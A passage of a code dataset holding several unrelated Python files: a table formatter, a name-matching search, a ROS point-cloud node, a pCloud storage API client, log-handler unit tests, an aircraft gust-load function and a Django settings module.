'\\n':\n\t\tcontinue\n\ttext = line\n\ttext = text.replace('\\t\\t','\\t')\n\tpos_name = text.find('\\t')\n\ta['name'] = text[0:pos_name]\n\tpos_time = text.find('\\t',pos_name + 1)\n\ta['time'] = text[pos_name+1:pos_time]\n\ta['cost'] = text[pos_time+1:-1]\n\tif a['cost'].find(a['name']) != -1 and a['name'].find('на новый') == -1 and a['name'].find('iCloud') == -1:\n\t\tif error == True:\n\t\t\ta['time'] = a['name']\n\t\t\ta['name'] = saved_name\n\t\t\ta['cost'] = text[text.find('\\t')+1:-1]\n\t\telse:\n\t\t\tsaved_name = a['name']\n\t\t\terror = True\n\t\t\tcontinue\n\tif a['cost'].find('--') != -1:\n\t\ta['cost'] = '--'\n\tif a['time'].find('--') != -1:\n\t\ta['time'] = '--'\n\tif a['cost'].find('Р') == -1:\n\t\ta['cost'] = a['cost'] + 'Р'\n\tif a['cost'].find('платно') != -1:\n\t\ta['cost'] = a['cost'].replace('Р','')\n\tif a['name'].find('на новый') != -1:\n\t\ta['time'] = '--'\n\t\ta['cost'] = text[text.find('\\t')+1:-1]\n\tif a['name'].find('iCloud') != -1:\n\t\ta['time'] = '--'\n\t\ta['cost'] = text[text.find('\\t')+1:]\n\n\tready_text = '\\t\\t\\t\\t\\t\\t\\t
\\n\\t\\t\\t\\t\\t\\t\\t\\t' + a['name'] +'\\n\\t\\t\\t\\t\\t\\t\\t
'\n\tready_file.write(ready_text + '\\n')\n\terror = False\nf.close()\nready_file.close()\nready_file = open ('ready.txt','r',encoding=\"utf-8\")\npyperclip.copy(ready_file.read())\n\n\t\n\n","sub_path":"TheFuckingTable/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"565376444","text":"import csv\n\n\nvowels = 'a e i o u'.split()\n\n\n\ndef load_names(from_file):\n with open(from_file, 'rt') as csvfile:\n reader = csv.reader(csvfile, delimiter=',', quotechar='|')\n names = [ row[1].replace('\"', '') for row in reader ]\n return names\n\n\ndef search(names, needles):\n counter = 0\n no_names = len(names)\n results = []\n for name in names:\n for needle in needles:\n match = best_match(name.lower(), needle)\n new_name = match[0]\n score = match[1]\n if new_name is not None and score > 0 and score < 1:\n results.append((name, new_name, score))\n counter += 1\n if counter % 10000 == 0:\n print(str(counter) + '/' + str(no_names))\n return sorted(results, key=lambda x: x[2], reverse=True)\n\n\ndef best_match(haystack, needle):\n h_len = len(haystack)\n n_len = len(needle)\n if n_len > h_len:\n return None, 0\n best_index = -1\n best_score = 0\n best_match = None\n for i in range(h_len - n_len + 1):\n slice = haystack[i:i+n_len]\n this_score = score(slice, needle)\n if this_score > best_score:\n best_score = this_score\n best_index = i\n best_match = slice\n if best_index == -1:\n return None, 0\n sub = needle\n best_match_end = best_match[-1:]\n if vowel(best_match_end) and not vowel(sub[-1:]):\n sub += best_match_end\n return capitalise(haystack[0:best_index] + sub + haystack[best_index+n_len:h_len]), (best_score / n_len)\n\n\ndef score(a, b):\n score = 0\n for i in range(len(a)):\n if a[i] == b[i]:\n score += 1\n return score\n\n\ndef vowel(x):\n return x in vowels\n\n\ndef capitalise(s):\n return s[0].upper() + s[1:]\n","sub_path":"eggsearch.py","file_name":"eggsearch.py","file_ext":"py","file_size_in_byte":1760,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"155041080","text":"#!/usr/bin/env python3\n\n\"\"\"\nSeveral datasets I have use 64-channel LiDARs. This node uses LOAM to downsample them.\n\"\"\"\n\nimport rospy\nimport numpy as np\nimport message_filters\nfrom sensor_msgs.msg import PointCloud2\n\n\nclass PointcloudDownsampler:\n\n def __init__(self, node_name=\"pointcloud_downsampler\"):\n rospy.init_node(node_name)\n\n # Default values for downsampling Velodyne HDL-64E from KITTI to VLP-16\n self.channels = rospy.get_param(\"~channels\", default=64)\n self.vert_downsample = rospy.get_param(\"~vert_downsample\", default=4)\n self.horiz_downsample = rospy.get_param(\"~horiz_downsample\", default=2)\n self.time_downsample = rospy.get_param(\"~time_downsample\", default=1)\n self.transpose = rospy.get_param(\"~transpose\", default=False)\n\n self.input = rospy.Subscriber(\"/velodyne_cloud_3\", PointCloud2, callback=self.callback)\n self.output = rospy.Publisher(\"~velodyne_cloud_downsampled\", PointCloud2, queue_size=1)\n\n def callback(self, msg: PointCloud2):\n if msg.header.seq % self.time_downsample == 0:\n point_length = msg.point_step // 4\n data = np.reshape(np.fromstring(msg.data, dtype=np.float32), [-1, point_length])\n\n\n rings = data[:, 4]\n print(rings)\n print(\"RINGS: ({}, {})\".format(np.min(rings), np.max(rings)))\n downsampled_data = data\n\n msg.data = downsampled_data.tostring()\n msg.width = downsampled_data.shape[0]\n self.output.publish(msg)\n\n\nif __name__ == \"__main__\":\n node = PointcloudDownsampler()\n rospy.spin()\n","sub_path":"vil_fusion/python/loam_downsample_pointcloud.py","file_name":"loam_downsample_pointcloud.py","file_ext":"py","file_size_in_byte":1613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"413280398","text":"#-*- coding:utf-8; mode:python; indent-tabs-mode: nil; c-basic-offset: 2; tab-width: 2 -*-\n\nimport hashlib, os.path as path, pprint\n\nfrom io import BytesIO\nfrom collections import namedtuple\n\nfrom bes.system.log import logger\nfrom bes.system.check import check\nfrom bes.common.node import node\nfrom bes.property.cached_property import cached_property\nfrom bes.fs.file_path import file_path\nfrom bes.fs.file_util import file_util\nfrom bes.fs.temp_file import temp_file\nfrom bes.text.string_list import string_list\n\nfrom .pcloud_error import pcloud_error\nfrom .pcloud_metadata import pcloud_metadata\nfrom .pcloud_requests import pcloud_requests\n\nfrom bes.credentials.credentials import credentials\n\nclass pcloud(object):\n\n API = 'https://api.pcloud.com'\n\n log = logger('pcloud')\n \n def __init__(self, credentials, root_dir):\n check.check_credentials(credentials)\n check.check_string(root_dir)\n self.credentials = credentials\n self.root_dir = root_dir\n\n @cached_property\n def digest(clazz):\n 'Get a digest from pcloud to use with subsequent api calls.'\n response = pcloud_requests.get('getdigest', {})\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'digest' in payload\n return payload['digest']\n\n @cached_property\n def auth_token(self):\n password_digest = self._make_password_digest(self.digest, self.credentials.email, self.credentials.password)\n auth_token = self._get_auth_token(self.digest, self.credentials.email, password_digest)\n del self.credentials\n self.credentials = None\n return auth_token\n \n def list_folder(self, folder_path = None, folder_id = None, recursive = False, checksums = False):\n self.log.log_d('list_folder: folder_path=%s; folder_id=%s; recursive=%s; checksums=%s' % (folder_path, folder_id, recursive, checksums))\n if not folder_path and not folder_id:\n raise ValueError('Etiher folder_path or folder_id should be given.')\n elif folder_path and folder_id:\n raise ValueError('Only one of folder_path or folder_id should be given.')\n params = {\n 'auth': self.auth_token,\n 'recursive': int(recursive),\n }\n what = ''\n if folder_path:\n what = folder_path\n params.update({ 'path': folder_path })\n if folder_id:\n what = folder_id\n params.update({ 'folderid': folder_id })\n self.log.log_d('list_folder: params=%s' % (params))\n response = pcloud_requests.get('listfolder', params)\n self.log.log_d('list_folder: response=%s' % (str(response)))\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n import pprint\n print('payload: {}'.format(pprint.pformat(payload)))\n #import pprint\n assert 'result' in response.payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'metadata' in payload\n folder_metadata = payload['metadata']\n assert 'contents' in folder_metadata\n contents = folder_metadata['contents']\n result = [ pcloud_metadata.parse_dict(item) for item in contents ]\n if checksums:\n result = self._get_checksums(result)\n return result\n\n def folder_info(self, folder_path = None, folder_id = None):\n self.log.log_d('folder_info: folder_path=%s; folder_id=%s' % (folder_path, folder_id))\n if not folder_path and not folder_id:\n raise ValueError('Etiher folder_path or folder_id should be given.')\n elif folder_path and folder_id:\n raise ValueError('Only one of folder_path or folder_id should be given.')\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if folder_path:\n what = folder_path\n params.update({ 'path': folder_path })\n if folder_id:\n what = folder_id\n params.update({ 'folderid': folder_id })\n params.update({ 'nofiles': 1 })\n self.log.log_d('folder_info: params=%s' % (params))\n response = pcloud_requests.get('listfolder', params)\n self.log.log_d('folder_info: response=%s' % (str(response)))\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n self.log.log_d('folder_info: payload={}'.format(pprint.pformat(payload)))\n assert 'result' in response.payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'metadata' in payload\n folder_metadata = payload['metadata']\n if 'contents' in folder_metadata:\n del folder_metadata['contents']\n return pcloud_metadata.parse_dict(folder_metadata)\n\n def quick_list_folder(self, folder_path, relative = True, recursive = False):\n items = self.list_folder(folder_path = folder_path, recursive = recursive)\n result = string_list()\n for item in items:\n result.extend(item.list_files())\n if not relative:\n result = string_list([ path.join(folder_path, f) for f in result ])\n result.sort()\n return result\n \n def delete_file(self, file_path = None, file_id = None):\n if not file_path and not file_id:\n raise ValueError('Etiher file_path or file_id should be given.')\n elif file_path and file_id:\n raise ValueError('Only one of file_path or file_id should be given.')\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if file_path:\n what = file_path\n params.update({ 'path': file_path })\n if file_id:\n what = file_id\n params.update({ 'fileid': file_id })\n response = pcloud_requests.get('deletefile', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'metadata' in payload\n return payload['metadata']\n \n def create_folder(self, folder_id = None, folder_name = None, folder_path = None):\n if folder_path:\n if folder_id:\n raise ValueError('Only one of folder_path or folder_id can be given.')\n if folder_name:\n raise ValueError('Only one of folder_path or folder_name can be given.')\n else:\n if not folder_id:\n raise ValueError('folder_id must be valid.')\n if not folder_name:\n raise ValueError('folder_name must be valid.')\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if folder_path:\n params.update({ 'path': folder_path })\n what = folder_path\n else:\n params.update({ 'folderid': folder_id })\n params.update({ 'name': folder_name })\n what = '%s - %s' % (folderid, name)\n response = pcloud_requests.get('createfolder', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'metadata' in payload\n return payload['metadata']\n\n def folder_exists(self, folder_path):\n 'Return True if the folder exists.'\n try:\n self.list_folder(folder_path = folder_path)\n return True\n except pcloud_error as ex:\n pass\n return False\n \n def ensure_folder(self, folder_path):\n 'Ensure that the given folder exits. Create all parents.'\n if not path.isabs(folder_path):\n raise ValueError('folder_path should be absolute: %s' % (folder_path))\n paths = file_path.decompose(folder_path)\n for p in paths:\n if not self.folder_exists(p):\n self.create_folder(folder_path = p)\n \n def delete_folder(self, folder_id = None, folder_path = None, recursive = False ):\n if not folder_path and not folder_id:\n raise ValueError('Etiher folder_path or folder_id should be given.')\n elif folder_path and folder_id:\n raise ValueError('Only one of folder_path or folder_id should be given.')\n if recursive:\n api_method = 'deletefolderrecursive'\n else:\n api_method = 'deletefolder'\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if folder_path:\n params.update({ 'path': folder_path })\n what = folder_path\n else:\n params.update({ 'folderid': folder_id })\n what = folderid\n response = pcloud_requests.get(api_method, params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n return payload\n \n def _get_checksums(self, contents):\n return [ self._get_checksum(item) for item in contents ]\n \n def _get_checksum(self, item):\n check.check_pcloud_metadata(item)\n if item.is_folder:\n new_contents = [ self._get_checksum(child_item) for child_item in item.contents or [] ]\n new_item = item.mutate_contents(new_contents)\n else:\n checksum = self.checksum_file(file_id = item.pcloud_id)\n new_item = item.mutate_checksum(checksum)\n return new_item\n \n def checksum_file(self, file_path = None, file_id = None):\n if not file_path and not file_id:\n raise ValueError('Etiher file_path or file_id should be given.')\n elif file_path and file_id:\n raise ValueError('Only one of file_path or file_id should be given.')\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if file_path:\n what = file_path\n params.update({ 'path': file_path })\n if file_id:\n what = file_id\n params.update({ 'fileid': file_id })\n response = pcloud_requests.get('checksumfile', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'sha1' in payload\n return payload['sha1']\n\n def checksum_file_safe(self, file_path = None, file_id = None):\n 'Checksum a file but return None if it does not exist.'\n assert file_path or file_id\n try:\n checksum = self.checksum_file(file_path = file_path, file_id = file_id)\n except pcloud_error as ex:\n self.log.log_d('caught exception trying to checksum: %s' % (str(ex)))\n if ex.code in [ pcloud_error.FILE_NOT_FOUND, pcloud_error.PARENT_DIR_MISSING ]:\n checksum = None\n else:\n raise ex\n return checksum\n \n getfilelink_result = namedtuple('getfilelink_result', 'path, expires, hosts')\n def getfilelink(self, file_path = None, file_id = None):\n if not file_path and not file_id:\n raise ValueError('Etiher file_path or file_id should be given.')\n elif file_path and file_id:\n raise ValueError('Only one of file_path or file_id should be given.')\n params = {\n 'auth': self.auth_token,\n }\n what = ''\n if file_path:\n what = file_path\n params.update({ 'path': file_path })\n if file_id:\n what = file_id\n params.update({ 'fileid': file_id })\n response = pcloud_requests.get('getfilelink', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'path' in payload\n assert 'expires' in payload\n assert 'hosts' in payload#path, expires, hosts\n return self.getfilelink_result(payload['path'], payload['expires'], payload['hosts'])\n\n def upload_file(self, local_path, cloud_filename, folder_path = None, folder_id = None):\n if not path.isfile(local_path):\n raise IoError('File not found: %s' % (local_path))\n if not folder_path and not folder_id:\n raise ValueError('Etiher folder_path or folder_id should be given.')\n elif folder_path and folder_id:\n raise ValueError('Only one of folder_path or folder_id should be given.')\n if path.isabs(cloud_filename):\n raise ValueError('cloud_filename should be just a filename: %s' % (cloud_filename))\n\n try:\n self.list_folder(folder_path = folder_path, folder_id = folder_id)\n except pcloud_error as ex:\n if folder_id:\n raise ex\n self.ensure_folder(folder_path)\n\n if cloud_filename != path.basename(local_path):\n old_local_path = local_path\n tmp_dir = temp_file.make_temp_dir()\n local_path = path.join(tmp_dir, cloud_filename)\n file_util.copy(old_local_path, local_path, use_hard_link = True)\n else:\n tmp_dir = None\n files = { cloud_filename: open(local_path, 'rb') }\n url = pcloud_requests.make_api_url('uploadfile')\n params = {\n 'auth': self.auth_token,\n 'filename': cloud_filename,\n }\n what = ''\n if folder_path:\n what = folder_path\n params.update({ 'path': folder_path })\n if folder_id:\n what = folder_id\n params.update({ 'folderid': folder_id })\n import requests\n try:\n response = requests.post(url, data = params, files = files)\n finally:\n if tmp_dir:\n file_util.remove(tmp_dir)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.json()\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'metadata' in payload\n return payload['metadata']\n\n def download_to_file(self, target, file_path = None, file_id = None):\n 'Download file to target.'\n links = self.getfilelink(file_path = file_path, file_id = file_id)\n tmp = temp_file.make_temp_file(suffix = '.download')\n with open(tmp, 'wb') as fout:\n response = pcloud_requests.download_to_stream(links, fout)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n fout.close()\n file_util.copy(tmp, target)\n\n def download_to_bytes(self, file_path = None, file_id = None):\n 'Download file to target.'\n links = self.getfilelink(file_path = file_path, file_id = file_id)\n buf = BytesIO()\n response = pcloud_requests.download_to_stream(links, buf)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n return buf.getvalue()\n \n @classmethod\n def _make_password_digest(clazz, digest, email, password):\n 'Make a password digest.'\n email_digest = hashlib.sha1(email.lower().encode('utf-8')).hexdigest()\n password_digest_input = password + email_digest + digest\n digest_data = (password + email_digest + digest).encode('utf-8')\n return hashlib.sha1(digest_data).hexdigest()\n\n @classmethod\n def _get_auth_token(clazz, digest, email, password_digest):\n params = {\n 'getauth': 1,\n 'logout': 1,\n 'digest': digest,\n 'username': email,\n 'passworddigest': password_digest,\n }\n response = pcloud_requests.get('userinfo', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n if 'error' in payload:\n raise pcloud_error(payload['result'], '')\n assert 'auth' in payload\n return payload['auth']\n \n @classmethod\n def _make_item_node(clazz, item):\n if item.is_folder:\n if item.name != '/':\n name = '%s/' % (item.name)\n else:\n name = '/'\n else:\n name = item.name\n n = node(item)\n for child in item.contents or []:\n child_node = clazz._make_item_node(child)\n n.children.append(child_node)\n return n\n\n @classmethod\n def items_to_tree(clazz, folder, items):\n return clazz._make_item_node(pcloud_metadata(folder, '/', 0, True, 0, None, 'dir', '0', items or [], 0))\n\n # File flags from https://docs.pcloud.com/methods/fileops/file_open.html\n O_WRITE = 0x0002\n O_CREAT = 0x0040\n O_EXCL = 0x0080\n O_TRUNC = 0x0200\n O_APPEND = 0x0400\n\n # FIXME: check arguments for inconsistencies\n def file_open(self, flags, file_path = None, file_id = None, folder_id = None, filename = None):\n '''\n if not file_path and not file_id:\n raise ValueError('Etiher file_path or file_id should be given.')\n elif file_path and file_id:\n raise ValueError('Only one of file_path or file_id should be given.')\n '''\n params = {\n 'auth': self.auth_token,\n 'flags': flags,\n }\n what = [ file_path, file_id, folder_id ]\n what = ' - '.join([ x for x in what if x ])\n if file_path:\n params.update({ 'path': file_path })\n if file_id:\n params.update({ 'fileid': file_id })\n if folder_id:\n params.update({ 'folderid': folder_id })\n if filename:\n params.update({ 'name': filename })\n print('file_open params: %s' % (params))\n response = pcloud_requests.get('file_open', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n print('file_open: PAYLOAD: %s' % (payload))\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'fd' in payload\n return payload['fd']\n\n file_size_result = namedtuple('file_size_result', 'size, offset')\n def file_size(self, fd):\n params = {\n 'auth': self.auth_token,\n 'fd': fd,\n }\n what = str(fd)\n response = pcloud_requests.get('file_size', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n payload = response.payload\n print('file_size: PAYLOAD: %s' % (payload))\n assert 'result' in payload\n if payload['result'] != 0:\n raise pcloud_error(payload['result'], what)\n assert 'size' in payload\n assert 'offset' in payload\n return self.file_size_result(payload['size'], payload['offset'])\n \n def file_write(self, fd, count):\n params = {\n 'auth': self.auth_token,\n 'fd': fd,\n 'count': count,\n }\n what = str(fd)\n response = pcloud_requests.get('file_read', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n import pprint\n print('RESPONSE: %s' % (pprint.pformat(response)))\n print('CONTENT: %s' % (response.content))\n print('CONTENT-TYPE: %s' % (response.content_type))\n# payload = response.payload\n# assert 'result' in payload\n# if payload['result'] != 0:\n# raise pcloud_error(payload['result'], what)\n# assert 'fd' in payload\n# return payload['fd']\n\n def file_read(self, fd, count):\n params = {\n 'auth': self.auth_token,\n 'fd': fd,\n 'count': count,\n }\n what = str(fd)\n response = pcloud_requests.get('file_read', params)\n if response.status_code != 200:\n raise pcloud_error(error.HTTP_ERROR, str(response.status_code))\n import pprint\n print('RESPONSE: %s' % (pprint.pformat(response)))\n print('CONTENT: %s' % (response.content))\n print('CONTENT-TYPE: %s' % (response.content_type))\n# payload = response.payload\n# assert 'result' in payload\n# if payload['result'] != 0:\n# raise pcloud_error(payload['result'], what)\n# assert 'fd' in payload\n# return payload['fd']\n\n def make_path(self, f):\n return path.join(self.root_dir, f)\n","sub_path":"lib/rebuild/pcloud/pcloud.py","file_name":"pcloud.py","file_ext":"py","file_size_in_byte":19283,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"5408582","text":"from ..log_handlers import (\n recommendation_request,\n watch_request,\n rating_request,\n _format_key,\n)\nfrom unittest.mock import MagicMock\nimport unittest\n\n\nclass TestConnection(unittest.TestCase):\n def test_recommendation_request(self):\n mock_db_collection = MagicMock()\n line = \"2020-11-03T14:32:43.149,156483,recommendation request fall2020-comp598-1.cs.mcgill.ca:8082, status 200, result: existenz+1999, toy+story+2+1999, 65 ms\"\n recommendation_request(line, mock_db_collection)\n mock_db_collection.update_many.assert_called_with(\n {\"user_id\": 156483},\n {\n \"$inc\": {\n \"existenz+1999.recommend_count\": 1,\n \"toy+story+2+1999.recommend_count\": 1,\n }\n },\n upsert=True,\n )\n\n def test_watch_request(self):\n mock_db_collection = MagicMock()\n line = \"2020-11-03T14:32:43.149,156483, GET /data/m/walle+2008/20.mpg\"\n watch_request(line, mock_db_collection)\n mock_db_collection.update_one.assert_called_with(\n {\"user_id\": 156483},\n {\n \"$max\": {\n \"walle+2008.watched\": 20,\n }\n },\n upsert=True,\n )\n\n def test_rating_request(self):\n mock_db_collection = MagicMock()\n line = \"2020-11-03T14:32:43.149,156483, GET /rate/walle+2008=4\"\n rating_request(line, mock_db_collection)\n mock_db_collection.update_one.assert_called_with(\n {\"user_id\": 156483},\n {\n \"$set\": {\n \"walle+2008.rating\": 4,\n }\n },\n upsert=True,\n )\n\n def test_format_key(self):\n movie_id = \" walle+2008 \"\n attribute = \"recommend_count\"\n res = _format_key(movie_id, attribute)\n self.assertEqual(res, \"walle+2008.recommend_count\")\n","sub_path":"telemetry/tests/test_log_handlers.py","file_name":"test_log_handlers.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"19368474","text":"import glob\nimport sys, os\n\n\n\n\n# However, cmd is easier:\n# ls -1 train1k_image > trainlist_imge.txt\n# ls -1 train1k_seganno > annolist.txt\n\n# ls -1 val100_image/ > vallist_img.txt\n\n\n\ndata_dir = \"\"\ntrain_image_files = data_dir + \"/train1k_image\"\ntrain_segmentannotation_files = data_dir + \"/train1k_seganno\"\n\ntrain_txt = \"train.txt\"\n\nif not os.path.exists(train_image_files):\n print(\"{} not exist\".format(data_dir))\n sys.exit()\n\nif not os.path.exists(train_segmentannotation_files):\n print(\"{} not exist\".format(data_dir))\n sys.exit()\n\n\nall_image_files = glob.glob(train_image_files + \"/*.png\")\nall_seganno_files = glob.glob(train_segmentannotation_files + \"/*.png\")\n\nif len(all_image_files) != len(all_seganno_files):\n print(\"len(all_image_files:{}) != len(all_seganno_files:{})\".format(len(all_image_files), len(all_seganno_files)))\n","sub_path":"segmentation/data/prepareTxtlist.py","file_name":"prepareTxtlist.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"515359903","text":"# -*- coding: utf-8 -*-\n\ndef n_gust(MASS, wing_area, rho, rho_SL, chord_geom, vc_EAS, CL_alpha, U_gust): \n \n mu_g = 2 * MASS / rho / wing_area / chord_geom / CL_alpha\n \n K_g = 0.88 * mu_g / (5.3 + mu_g)\n \n n_gust = 1 + (rho_SL/2/9.81) * K_g * U_gust * (vc_EAS*0.514444 * CL_alpha / MASS / wing_area)\n\n \n \n return n_gust\n \n","sub_path":"CS25.py","file_name":"CS25.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"45775263","text":"import ast\nimport os\nimport urlparse\n# Import global settings to make it easier to extend settings.\nfrom django.conf.global_settings import * # pylint: disable=W0614,W0401\nimport dj_database_url\n\n#==============================================================================\n# Generic Django project settings\n#==============================================================================\n\nDEBUG = ast.literal_eval(os.environ.get('DEBUG', 'True'))\nTEMPLATE_DEBUG = DEBUG\nASSETS_DEBUG = True\n\nSITE_ID = 1\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\nTIME_ZONE = 'UTC'\nUSE_TZ = True\nUSE_I18N = True\nUSE_L10N = True\nLANGUAGE_CODE = 'en'\nLANGUAGES = (\n ('en', 'English'),\n)\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = os.environ['SECRET_KEY']\nAUTH_USER_MODEL = 'accounts.User'\nINSTALLED_APPS = (\n 'botbot.apps.accounts',\n 'botbot.apps.bots',\n 'botbot.apps.logs',\n 'botbot.apps.plugins',\n 'botbot.core',\n\n 'django_hstore',\n 'south',\n 'launchpad',\n 'social.apps.django_app.default',\n 'django_assets',\n\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'django.contrib.admin',\n 'django.contrib.admindocs',\n)\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.signed_cookies\"\n\n#==============================================================================\n# Calculation of directories relative to the project module location\n#==============================================================================\n\nimport os\nimport sys\nimport botbot as project_module\n\nPROJECT_DIR = os.path.dirname(os.path.realpath(project_module.__file__))\n\nPYTHON_BIN = os.path.dirname(sys.executable)\nve_path = os.path.dirname(os.path.dirname(os.path.dirname(PROJECT_DIR)))\n# Assume that the presence of 'activate_this.py' in the python bin/\n# directory means that we're running in a virtual environment.\nif os.path.exists(os.path.join(PYTHON_BIN, 'activate_this.py')):\n # We're running with a virtualenv python executable.\n VAR_ROOT = os.path.join(os.path.dirname(PYTHON_BIN), 'var')\nelif ve_path and os.path.exists(os.path.join(ve_path, 'bin',\n 'activate_this.py')):\n # We're running in [virtualenv_root]/src/[project_name].\n VAR_ROOT = os.path.join(ve_path, 'var')\nelse:\n # Set the variable root to the local configuration location (which is\n # ignored by the repository).\n VAR_ROOT = os.path.join(PROJECT_DIR, 'conf', 'local')\n\nif not os.path.exists(VAR_ROOT):\n os.mkdir(VAR_ROOT)\n\n#==============================================================================\n# Project URLS and media settings\n#==============================================================================\n\nROOT_URLCONF = 'botbot.urls'\n\nLOGIN_URL = '/dashboard/'\nLOGOUT_URL = '/logout/'\nLOGIN_REDIRECT_URL = '/dashboard/'\nINCLUDE_DJANGO_ADMIN = ast.literal_eval(os.environ.get(\n 'INCLUDE_DJANGO_ADMIN', 'True'))\n\nSTATIC_URL = '/static/'\nMEDIA_URL = '/uploads/'\n\nSTATIC_ROOT = os.environ.get('STATIC_ROOT', os.path.join(VAR_ROOT, 'static'))\nMEDIA_ROOT = os.environ.get('MEDIA_ROOT', os.path.join(VAR_ROOT, 'uploads'))\n\nSTATICFILES_DIRS = (\n os.path.join(PROJECT_DIR, 'static'),\n)\n\nDATABASES = {'default': dj_database_url.config(\n default='postgres://localhost:5432/botbot')}\n# Reuse database connections\nDATABASES['default']['CONN_MAX_AGE'] = None\n\n#==============================================================================\n# Templates\n#==============================================================================\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nTEMPLATE_DIRS = (\n os.path.join(PROJECT_DIR, 'templates'),\n)\n\nTEMPLATE_CONTEXT_PROCESSORS += (\n 'django.core.context_processors.request',\n 'django.core.context_processors.tz',\n 'social.apps.django_app.context_processors.backends',\n 'social.apps.django_app.context_processors.login_redirect',\n)\n\n#==============================================================================\n# Middleware\n#==============================================================================\n\nMIDDLEWARE_CLASSES += (\n 'botbot.core.middleware.TimezoneMiddleware',\n 'django.middleware.transaction.TransactionMiddleware',\n)\n\n#==============================================================================\n# Auth / security\n#==============================================================================\n\nALLOWED_HOSTS = os.environ.get('ALLOWED_HOSTS', 'localhost').split(',')\nAUTHENTICATION_BACKENDS += (\n # WARNING! Users are automatically associated by email in the\n # social pipeline. Before adding additional social auth backends\n # Be sure you trust the provider to confirm the email address.\n 'social.backends.google.GoogleOpenId',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\n#==============================================================================\n# Logger project settings\n#==============================================================================\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': True,\n 'formatters': {\n 'verbose': {\n 'format': '%(levelname)s %(asctime)s %(module)s %(process)d %(thread)d %(message)s'\n },\n 'simple': {\n 'format': '%(levelname)s %(message)s'\n },\n },\n 'handlers': {\n 'null': {\n 'level': 'DEBUG',\n 'class': 'django.utils.log.NullHandler',\n },\n 'console': {\n 'level': 'DEBUG',\n 'class': 'logging.StreamHandler',\n 'formatter': 'simple'\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'class': 'django.utils.log.AdminEmailHandler',\n 'filters': []\n }\n },\n 'loggers': {\n 'django': {\n 'handlers': ['null'],\n 'propagate': True,\n 'level': 'INFO',\n },\n 'django.request': {\n 'handlers': ['mail_admins'],\n 'level': 'ERROR',\n 'propagate': False,\n },\n 'botbot.plugin_runner': {\n 'handlers': ['console'],\n 'level': 'INFO',\n }\n }\n}\n\n#=============================================================================\n# Cache\n#=============================================================================\nif 'MEMCACHE_URL' in os.environ:\n DEFAULT_CACHE = {\n 'BACKEND': 'django.core.cache.backends.memcached.PyLibMCCache',\n 'LOCATION': os.environ['MEMCACHE_URL'],\n }\nelse:\n DEFAULT_CACHE = {\n 'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',\n 'LOCATION': 'botbot',\n }\n\nCACHES = {\n 'default': 